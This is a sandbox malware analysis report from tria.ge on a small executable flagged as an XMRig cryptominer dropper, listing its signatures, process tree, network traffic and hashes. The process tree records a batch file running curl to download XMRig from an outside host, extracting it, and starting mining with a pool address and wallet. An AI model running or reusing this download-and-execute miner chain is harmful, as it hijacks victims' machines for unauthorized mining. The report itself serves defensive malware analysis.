Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

test - Copy (10).exe

windows10-2004-x64

10

test - Copy (10).exe

windows11-21h2-x64

10

test - Copy (11).exe

windows10-2004-x64

10

test - Copy (11).exe

windows11-21h2-x64

10

test - Copy (12).exe

windows10-2004-x64

10

test - Copy (12).exe

windows11-21h2-x64

10

test - Copy (13).exe

windows10-2004-x64

10

test - Copy (13).exe

windows11-21h2-x64

10

test - Copy (14).exe

windows10-2004-x64

10

test - Copy (14).exe

windows11-21h2-x64

10

test - Copy (2).exe

windows10-2004-x64

7

test - Copy (2).exe

windows11-21h2-x64

7

test - Copy (3).exe

windows10-2004-x64

10

test - Copy (3).exe

windows11-21h2-x64

10

test - Copy (4).exe

windows10-2004-x64

10

test - Copy (4).exe

windows11-21h2-x64

10

test - Copy (5).exe

windows10-2004-x64

10

test - Copy (5).exe

windows11-21h2-x64

3

test - Copy (6).exe

windows10-2004-x64

7

test - Copy (6).exe

windows11-21h2-x64

10

test - Copy (7).exe

windows10-2004-x64

10

test - Copy (7).exe

windows11-21h2-x64

10

test - Copy (8).exe

windows10-2004-x64

10

test - Copy (8).exe

windows11-21h2-x64

7

test - Copy (9).exe

windows10-2004-x64

10

test - Copy (9).exe

windows11-21h2-x64

10

test - Copy.exe

windows10-2004-x64

7

test - Copy.exe

windows11-21h2-x64

10

test.exe

windows10-2004-x64

10

test.exe

windows11-21h2-x64

7

Resubmissions

11/03/2024, 21:08 UTC

240311-zy7ywsed31 10

11/03/2024, 21:06 UTC

240311-zx53xagd73 10

11/03/2024, 21:02 UTC

240311-zvwrfsec3x 10

11/03/2024, 21:01 UTC

240311-ztxx5aeb9x 10

11/03/2024, 20:59 UTC

240311-zs72psgc56 10

11/03/2024, 20:57 UTC

240311-zrmpdaeb3v 10

11/03/2024, 20:56 UTC

240311-zqzbsagb66 10

11/03/2024, 20:55 UTC

240311-zqlexsgb55 10

11/03/2024, 20:54 UTC

240311-zp4j4sgb43 10

11/03/2024, 20:53 UTC

240311-zplz3agb32 10

Analysis

  • max time kernel
    1793s
  • max time network
    1803s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/03/2024, 21:08 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    test - Copy (9).exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
10/10
xmrigminer

Malware Config

Signatures

  • XMRig Miner payload 62 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy (9).exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy (9).exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:228
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wuUWZ6r9.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2296
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:4572
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:936
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:4560

      Network

      • flag-us
        DNS
        1488.netlify.app
        curl.exe
        Remote address:
        8.8.8.8:53
        Request
        1488.netlify.app
        IN A
        Response
        1488.netlify.app
        IN A
        35.156.224.161
        1488.netlify.app
        IN A
        3.70.101.28
      • flag-de
        GET
        https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        curl.exe
        Remote address:
        35.156.224.161:443
        Request
        GET /xmrig-6.21.1-gcc-win64.zip HTTP/1.1
        Host: 1488.netlify.app
        User-Agent: curl/7.55.1
        Accept: */*
        Response
        HTTP/1.1 200 OK
        Accept-Ranges: bytes
        Age: 59497
        Cache-Control: public,max-age=0,must-revalidate
        Cache-Status: "Netlify Edge"; hit
        Content-Length: 3336525
        Content-Type: application/zip
        Date: Sat, 16 Mar 2024 14:57:36 GMT
        Etag: "3f561091cdba4bace650b26717533c91-ssl"
        Server: Netlify
        Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        X-Nf-Request-Id: 01HS3W9CG25ARZZKCE4K21NYR9
      • flag-us
        DNS
        136.32.126.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        136.32.126.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        241.154.82.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        241.154.82.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        161.224.156.35.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        161.224.156.35.in-addr.arpa
        IN PTR
        Response
        161.224.156.35.in-addr.arpa
        IN PTR
        ec2-35-156-224-161 eu-central-1compute amazonawscom
      • flag-us
        DNS
        184.178.17.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        184.178.17.96.in-addr.arpa
        IN PTR
        Response
        184.178.17.96.in-addr.arpa
        IN PTR
        a96-17-178-184deploystaticakamaitechnologiescom
      • flag-us
        DNS
        13.86.106.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        13.86.106.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        13.86.106.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        13.86.106.20.in-addr.arpa
        IN PTR
      • flag-us
        DNS
        41.110.16.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        41.110.16.96.in-addr.arpa
        IN PTR
        Response
        41.110.16.96.in-addr.arpa
        IN PTR
        a96-16-110-41deploystaticakamaitechnologiescom
      • flag-us
        DNS
        26.165.165.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        26.165.165.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        171.39.242.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        171.39.242.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        178.223.142.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        178.223.142.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        149.220.183.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        149.220.183.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        100.5.17.2.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        100.5.17.2.in-addr.arpa
        IN PTR
        Response
        100.5.17.2.in-addr.arpa
        IN PTR
        a2-17-5-100deploystaticakamaitechnologiescom
      • flag-us
        DNS
        119.110.54.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        119.110.54.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        56.126.166.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        56.126.166.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        18.134.221.88.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        18.134.221.88.in-addr.arpa
        IN PTR
        Response
        18.134.221.88.in-addr.arpa
        IN PTR
        a88-221-134-18deploystaticakamaitechnologiescom
      • flag-us
        DNS
        173.178.17.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        173.178.17.96.in-addr.arpa
        IN PTR
        Response
        173.178.17.96.in-addr.arpa
        IN PTR
        a96-17-178-173deploystaticakamaitechnologiescom
      • flag-us
        DNS
        64.134.221.88.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        64.134.221.88.in-addr.arpa
        IN PTR
        Response
        64.134.221.88.in-addr.arpa
        IN PTR
        a88-221-134-64deploystaticakamaitechnologiescom
      • flag-us
        DNS
        tse1.mm.bing.net
        Remote address:
        8.8.8.8:53
        Request
        tse1.mm.bing.net
        IN A
        Response
        tse1.mm.bing.net
        IN CNAME
        mm-mm.bing.net.trafficmanager.net
        mm-mm.bing.net.trafficmanager.net
        IN CNAME
        dual-a-0001.a-msedge.net
        dual-a-0001.a-msedge.net
        IN A
        204.79.197.200
        dual-a-0001.a-msedge.net
        IN A
        13.107.21.200
      • flag-us
        DNS
        tse1.mm.bing.net
        Remote address:
        8.8.8.8:53
        Request
        tse1.mm.bing.net
        IN A
        Response
        tse1.mm.bing.net
        IN CNAME
        mm-mm.bing.net.trafficmanager.net
        mm-mm.bing.net.trafficmanager.net
        IN CNAME
        dual-a-0001.a-msedge.net
        dual-a-0001.a-msedge.net
        IN A
        204.79.197.200
        dual-a-0001.a-msedge.net
        IN A
        13.107.21.200
      • flag-us
        GET
        https://tse1.mm.bing.net/th?id=OADD2.10239339388171_1IPS9F3VG23PT8N6M&pid=21.2&w=1080&h=1920&c=4
        Remote address:
        204.79.197.200:443
        Request
        GET /th?id=OADD2.10239339388171_1IPS9F3VG23PT8N6M&pid=21.2&w=1080&h=1920&c=4 HTTP/2.0
        host: tse1.mm.bing.net
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-length: 524205
        content-type: image/jpeg
        x-cache: TCP_HIT
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: E24ED2C9C40D4413A6FCEA4DF3786551 Ref B: LON04EDGE1016 Ref C: 2024-03-16T14:58:14Z
        date: Sat, 16 Mar 2024 14:58:14 GMT
      • flag-us
        GET
        https://tse1.mm.bing.net/th?id=OADD2.10239317301622_101PY29MXP6VGMEP0&pid=21.2&w=1080&h=1920&c=4
        Remote address:
        204.79.197.200:443
        Request
        GET /th?id=OADD2.10239317301622_101PY29MXP6VGMEP0&pid=21.2&w=1080&h=1920&c=4 HTTP/2.0
        host: tse1.mm.bing.net
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-length: 387421
        content-type: image/jpeg
        x-cache: TCP_HIT
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: 23B4801C0D714A3DB672C937A275B0DB Ref B: LON04EDGE1016 Ref C: 2024-03-16T14:58:14Z
        date: Sat, 16 Mar 2024 14:58:14 GMT
      • flag-us
        GET
        https://tse1.mm.bing.net/th?id=OADD2.10239339388170_1IEK0BZGEDADTOA05&pid=21.2&w=1920&h=1080&c=4
        Remote address:
        204.79.197.200:443
        Request
        GET /th?id=OADD2.10239339388170_1IEK0BZGEDADTOA05&pid=21.2&w=1920&h=1080&c=4 HTTP/2.0
        host: tse1.mm.bing.net
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-length: 389457
        content-type: image/jpeg
        x-cache: TCP_HIT
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: DAA10C460CB84BD6A1355C65F332F698 Ref B: LON04EDGE1016 Ref C: 2024-03-16T14:58:14Z
        date: Sat, 16 Mar 2024 14:58:14 GMT
      • flag-us
        GET
        https://tse1.mm.bing.net/th?id=OADD2.10239317301213_14S1AH6BJGZ74J8NX&pid=21.2&w=1920&h=1080&c=4
        Remote address:
        204.79.197.200:443
        Request
        GET /th?id=OADD2.10239317301213_14S1AH6BJGZ74J8NX&pid=21.2&w=1920&h=1080&c=4 HTTP/2.0
        host: tse1.mm.bing.net
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-length: 417332
        content-type: image/jpeg
        x-cache: TCP_HIT
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: BD5C837BF27A427D93F35182DBF4ECDF Ref B: LON04EDGE1016 Ref C: 2024-03-16T14:58:14Z
        date: Sat, 16 Mar 2024 14:58:14 GMT
      • flag-us
        GET
        https://tse1.mm.bing.net/th?id=OADD2.10239317301216_1YVZ0IIVCJV3CQIQF&pid=21.2&w=1920&h=1080&c=4
        Remote address:
        204.79.197.200:443
        Request
        GET /th?id=OADD2.10239317301216_1YVZ0IIVCJV3CQIQF&pid=21.2&w=1920&h=1080&c=4 HTTP/2.0
        host: tse1.mm.bing.net
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-length: 278792
        content-type: image/jpeg
        x-cache: TCP_HIT
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: 25CD8F1B8F0A41F7B0506486B03AEAF6 Ref B: LON04EDGE1016 Ref C: 2024-03-16T14:58:14Z
        date: Sat, 16 Mar 2024 14:58:14 GMT
      • flag-us
        GET
        https://tse1.mm.bing.net/th?id=OADD2.10239317301625_1HP779E00BH478LC1&pid=21.2&w=1080&h=1920&c=4
        Remote address:
        204.79.197.200:443
        Request
        GET /th?id=OADD2.10239317301625_1HP779E00BH478LC1&pid=21.2&w=1080&h=1920&c=4 HTTP/2.0
        host: tse1.mm.bing.net
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-length: 283222
        content-type: image/jpeg
        x-cache: TCP_HIT
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: CC5F7A7C1D474D3A9446C7659A199B89 Ref B: LON04EDGE1016 Ref C: 2024-03-16T14:58:15Z
        date: Sat, 16 Mar 2024 14:58:14 GMT
      • flag-us
        DNS
        xmr.2miners.com
        xmrig.exe
        Remote address:
        8.8.8.8:53
        Request
        xmr.2miners.com
        IN A
        Response
        xmr.2miners.com
        IN A
        162.19.139.184
      • flag-us
        DNS
        184.139.19.162.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        184.139.19.162.in-addr.arpa
        IN PTR
        Response
        184.139.19.162.in-addr.arpa
        IN PTR
        p062minerscom
      • flag-us
        DNS
        184.139.19.162.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        184.139.19.162.in-addr.arpa
        IN PTR
      • flag-us
        DNS
        195.178.17.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        195.178.17.96.in-addr.arpa
        IN PTR
        Response
        195.178.17.96.in-addr.arpa
        IN PTR
        a96-17-178-195deploystaticakamaitechnologiescom
      • flag-us
        DNS
        14.227.111.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        14.227.111.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        28.73.42.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        28.73.42.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        28.73.42.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        28.73.42.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        206.178.17.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        206.178.17.96.in-addr.arpa
        IN PTR
        Response
        206.178.17.96.in-addr.arpa
        IN PTR
        a96-17-178-206deploystaticakamaitechnologiescom
      • flag-us
        DNS
        206.178.17.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        206.178.17.96.in-addr.arpa
        IN PTR
        Response
        206.178.17.96.in-addr.arpa
        IN PTR
        a96-17-178-206deploystaticakamaitechnologiescom
      • flag-us
        DNS
        198.187.3.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        198.187.3.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        191.178.17.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        191.178.17.96.in-addr.arpa
        IN PTR
        Response
        191.178.17.96.in-addr.arpa
        IN PTR
        a96-17-178-191deploystaticakamaitechnologiescom
      • flag-us
        DNS
        174.178.17.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        174.178.17.96.in-addr.arpa
        IN PTR
        Response
        174.178.17.96.in-addr.arpa
        IN PTR
        a96-17-178-174deploystaticakamaitechnologiescom
      • flag-us
        DNS
        174.178.17.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        174.178.17.96.in-addr.arpa
        IN PTR
      • flag-us
        DNS
        205.178.17.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        205.178.17.96.in-addr.arpa
        IN PTR
        Response
        205.178.17.96.in-addr.arpa
        IN PTR
        a96-17-178-205deploystaticakamaitechnologiescom
      • flag-us
        DNS
        205.178.17.96.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        205.178.17.96.in-addr.arpa
        IN PTR
        Response
        205.178.17.96.in-addr.arpa
        IN PTR
        a96-17-178-205deploystaticakamaitechnologiescom
      • 35.156.224.161:443
        https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        tls, http
        curl.exe
        89.5kB
         3.5MB
         1806
        2729

        HTTP Request

        GET https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip

        HTTP Response

        200
      • 204.79.197.200:443
        tse1.mm.bing.net
        tls, http2
        1.3kB
         9.5kB
         17
        15
      • 204.79.197.200:443
        https://tse1.mm.bing.net/th?id=OADD2.10239317301625_1HP779E00BH478LC1&pid=21.2&w=1080&h=1920&c=4
        tls, http2
        85.1kB
         2.4MB
         1736
        1730

        HTTP Request

        GET https://tse1.mm.bing.net/th?id=OADD2.10239339388171_1IPS9F3VG23PT8N6M&pid=21.2&w=1080&h=1920&c=4

        HTTP Request

        GET https://tse1.mm.bing.net/th?id=OADD2.10239317301622_101PY29MXP6VGMEP0&pid=21.2&w=1080&h=1920&c=4

        HTTP Request

        GET https://tse1.mm.bing.net/th?id=OADD2.10239339388170_1IEK0BZGEDADTOA05&pid=21.2&w=1920&h=1080&c=4

        HTTP Request

        GET https://tse1.mm.bing.net/th?id=OADD2.10239317301213_14S1AH6BJGZ74J8NX&pid=21.2&w=1920&h=1080&c=4

        HTTP Response

        200

        HTTP Response

        200

        HTTP Response

        200

        HTTP Response

        200

        HTTP Request

        GET https://tse1.mm.bing.net/th?id=OADD2.10239317301216_1YVZ0IIVCJV3CQIQF&pid=21.2&w=1920&h=1080&c=4

        HTTP Request

        GET https://tse1.mm.bing.net/th?id=OADD2.10239317301625_1HP779E00BH478LC1&pid=21.2&w=1080&h=1920&c=4

        HTTP Response

        200

        HTTP Response

        200
      • 204.79.197.200:443
        tse1.mm.bing.net
        tls, http2
        1.3kB
         9.5kB
         17
        15
      • 204.79.197.200:443
        tse1.mm.bing.net
        tls, http2
        1.2kB
         8.1kB
         16
        14
      • 162.19.139.184:2222
        xmr.2miners.com
        xmrig.exe
        8.6kB
         34.1kB
         175
        174
      • 8.8.8.8:53
        1488.netlify.app
        dns
        curl.exe
        62 B
         94 B
         1
        1

        DNS Request

        1488.netlify.app

        DNS Response

        35.156.224.161
        3.70.101.28

      • 8.8.8.8:53
        136.32.126.40.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        136.32.126.40.in-addr.arpa

      • 8.8.8.8:53
        241.154.82.20.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        241.154.82.20.in-addr.arpa

      • 8.8.8.8:53
        161.224.156.35.in-addr.arpa
        dns
        73 B
         140 B
         1
        1

        DNS Request

        161.224.156.35.in-addr.arpa

      • 8.8.8.8:53
        184.178.17.96.in-addr.arpa
        dns
        72 B
         137 B
         1
        1

        DNS Request

        184.178.17.96.in-addr.arpa

      • 8.8.8.8:53
        13.86.106.20.in-addr.arpa
        dns
        142 B
         157 B
         2
        1

        DNS Request

        13.86.106.20.in-addr.arpa

        DNS Request

        13.86.106.20.in-addr.arpa

      • 8.8.8.8:53
        41.110.16.96.in-addr.arpa
        dns
        71 B
         135 B
         1
        1

        DNS Request

        41.110.16.96.in-addr.arpa

      • 8.8.8.8:53
        26.165.165.52.in-addr.arpa
        dns
        72 B
         146 B
         1
        1

        DNS Request

        26.165.165.52.in-addr.arpa

      • 8.8.8.8:53
        171.39.242.20.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        171.39.242.20.in-addr.arpa

      • 8.8.8.8:53
        178.223.142.52.in-addr.arpa
        dns
        73 B
         147 B
         1
        1

        DNS Request

        178.223.142.52.in-addr.arpa

      • 8.8.8.8:53
        149.220.183.52.in-addr.arpa
        dns
        73 B
         147 B
         1
        1

        DNS Request

        149.220.183.52.in-addr.arpa

      • 8.8.8.8:53
        100.5.17.2.in-addr.arpa
        dns
        69 B
         131 B
         1
        1

        DNS Request

        100.5.17.2.in-addr.arpa

      • 8.8.8.8:53
        119.110.54.20.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        119.110.54.20.in-addr.arpa

      • 8.8.8.8:53
        56.126.166.20.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        56.126.166.20.in-addr.arpa

      • 8.8.8.8:53
        18.134.221.88.in-addr.arpa
        dns
        72 B
         137 B
         1
        1

        DNS Request

        18.134.221.88.in-addr.arpa

      • 8.8.8.8:53
        173.178.17.96.in-addr.arpa
        dns
        72 B
         137 B
         1
        1

        DNS Request

        173.178.17.96.in-addr.arpa

      • 8.8.8.8:53
        64.134.221.88.in-addr.arpa
        dns
        72 B
         137 B
         1
        1

        DNS Request

        64.134.221.88.in-addr.arpa

      • 8.8.8.8:53
        tse1.mm.bing.net
        dns
        124 B
         346 B
         2
        2

        DNS Request

        tse1.mm.bing.net

        DNS Request

        tse1.mm.bing.net

        DNS Response

        204.79.197.200
        13.107.21.200

        DNS Response

        204.79.197.200
        13.107.21.200

      • 8.8.8.8:53
        xmr.2miners.com
        dns
        xmrig.exe
        61 B
         77 B
         1
        1

        DNS Request

        xmr.2miners.com

        DNS Response

        162.19.139.184

      • 8.8.8.8:53
        184.139.19.162.in-addr.arpa
        dns
        146 B
         102 B
         2
        1

        DNS Request

        184.139.19.162.in-addr.arpa

        DNS Request

        184.139.19.162.in-addr.arpa

      • 8.8.8.8:53
        195.178.17.96.in-addr.arpa
        dns
        72 B
         137 B
         1
        1

        DNS Request

        195.178.17.96.in-addr.arpa

      • 8.8.8.8:53
        14.227.111.52.in-addr.arpa
        dns
        72 B
         158 B
         1
        1

        DNS Request

        14.227.111.52.in-addr.arpa

      • 8.8.8.8:53
        28.73.42.20.in-addr.arpa
        dns
        140 B
         312 B
         2
        2

        DNS Request

        28.73.42.20.in-addr.arpa

        DNS Request

        28.73.42.20.in-addr.arpa

      • 8.8.8.8:53
        206.178.17.96.in-addr.arpa
        dns
        144 B
         274 B
         2
        2

        DNS Request

        206.178.17.96.in-addr.arpa

        DNS Request

        206.178.17.96.in-addr.arpa

      • 8.8.8.8:53
        198.187.3.20.in-addr.arpa
        dns
        71 B
         157 B
         1
        1

        DNS Request

        198.187.3.20.in-addr.arpa

      • 8.8.8.8:53
        191.178.17.96.in-addr.arpa
        dns
        72 B
         137 B
         1
        1

        DNS Request

        191.178.17.96.in-addr.arpa

      • 8.8.8.8:53
        174.178.17.96.in-addr.arpa
        dns
        144 B
         137 B
         2
        1

        DNS Request

        174.178.17.96.in-addr.arpa

        DNS Request

        174.178.17.96.in-addr.arpa

      • 8.8.8.8:53
        205.178.17.96.in-addr.arpa
        dns
        144 B
         274 B
         2
        2

        DNS Request

        205.178.17.96.in-addr.arpa

        DNS Request

        205.178.17.96.in-addr.arpa

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\wuUWZ6r9.bat
        Filesize

        421B

        MD5

        67d11b392feb0ad59fc11ff3e79dfeee

        SHA1

        7df5785988cb76c4893773614572c93baaa18717

        SHA256

        69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

        SHA512

        50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

        Download Submit

